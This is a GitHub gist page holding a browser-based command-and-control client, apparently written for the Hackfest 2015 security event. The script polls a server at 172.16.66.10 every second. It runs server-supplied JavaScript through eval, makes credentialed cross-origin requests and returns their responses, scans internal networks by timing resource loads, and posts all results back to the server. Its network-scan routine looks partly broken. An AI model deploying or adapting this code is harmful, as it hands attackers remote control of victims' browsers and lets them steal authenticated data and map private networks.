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AdamGreenhill/hackfest_2015_cc_client.html

Created December 22, 2015 18:42
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Revisions

  1. AdamGreenhill created this gist Dec 22, 2015.
    126 changes: 126 additions & 0 deletions hackfest_2015_cc_client.html
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,126 @@
    <iframe id="iframe" src=""></iframe>
    <img id="image" src=""></img>
    <script id="script" src=""></script>
    <script>
    var params = {server : {url : "http://172.16.66.10:8090/"}, threshold : 3000};
    var iframeElement = document.getElementById("iframe");
    var imageElement = document.getElementById("image");
    var scriptElement = document.getElementById("script");

    function loadResource(_cmdId,_data,_timing) {
    var currentElement;

    switch(_data.type) {
    case "image":
    currentElement = imageElement;
    break;
    case "script":
    currentElement = scriptElement;
    break;
    default:
    currentElement = iframeElement;
    break;
    }

    var now;
    currentElement.onerror = function() {
    var delta = (new Date()).getTime() - now;
    if(_timing && delta > params.threshold) {
    sendResult(_cmdId, "Target unreachable: " + _data.src);
    } else if(_timing) {
    sendResult(_cmdId, "Target reachable: " + _data.src);
    } else {
    sendResult(_cmdId, "Failed to load resource: " + _data.src);
    }
    };
    currentElement.onload = function() {
    var delta = (new Date()).getTime() - now;
    if(_timing && delta > params.threshold) {
    sendResult(_cmdId, "Target unreachable: " + _data.src);
    } else if(_timing) {
    sendResult(_cmdId, "Target reachable: " + _data.src);
    } else {
    sendResult(_cmdId, "Resource loaded successfully: " + _data.src);
    }
    };

    now = (new Date()).getTime();
    currentElement.src = _data.src;
    }

    function scanNetwork(_cmdId,_data){
    _data.forEach(function (e) {
    if(e.indexOf("file://") === 0) {
    loadResource(_cmdId, {type : "iframe", src : e});
    } else if(e.indexOf("ftp://") === 0) {
    loadResource(_cmdId, {type : "iframe", src : e});
    } else {
    var now = (new Date()).getTime();
    var xml = new XMLHttpRequest();
    xml.onerror = function () {
    var delta = (new Date()).getTime() - now;
    if(delta > params.threshold) {
    sendResult(_cmdId, "Target unreachable: " + _data.src);
    } else {
    sendResult(_cmdId, "Target reachable: " + _data.src);
    }
    };
    xml.onreadystatechange = function () {
    if (xml.readyState === 4) {
    xml.onerror();
    }
    }
    }
    });
    }

    function sendResult(_cmdId, _data) {
    var xml = new XMLHttpRequest();
    xml.open("POST", params.server.url + "?commandResult=&cmdid=" + _cmdId);
    xml.send(_data);
    }

    function executeCommand(_cmd) {
    switch(_cmd.name) {
    case "ajaxCall":
    var xml = new XMLHttpRequest();
    xml.open(_cmd.data.method, _cmd.data.url);
    xml.onreadystatechange = function () {
    if (xml.readyState === 4 && xml.status === 200) {
    sendResult(_cmd.id, xml.responseText);
    }
    }
    xml.withCredentials = true;
    xml.send(_cmd.data.body);
    break;
    case "scanNetwork":
    scanNetwork(_cmd.id, _cmd.data);
    break;
    case "loadResource":
    loadResource(_cmd.id, _cmd.data);
    break;
    case "eval":
    sendResult(_cmd.id, eval(_cmd.data));
    break;
    default:
    break;
    }
    }

    function getCommand() {
    var xml = new XMLHttpRequest();
    xml.open("GET", params.server.url + "?getCommand=");
    xml.onreadystatechange = function() {
    if (xml.readyState === 4 && xml.status === 200) {
    try{
    var commandData = JSON.parse(xml.responseText);
    if(commandData !== undefined) {
    executeCommand(commandData);
    }
    }catch(e) {}
    }
    };
    xml.send();
    }
    setInterval(getCommand,1000);
    </script>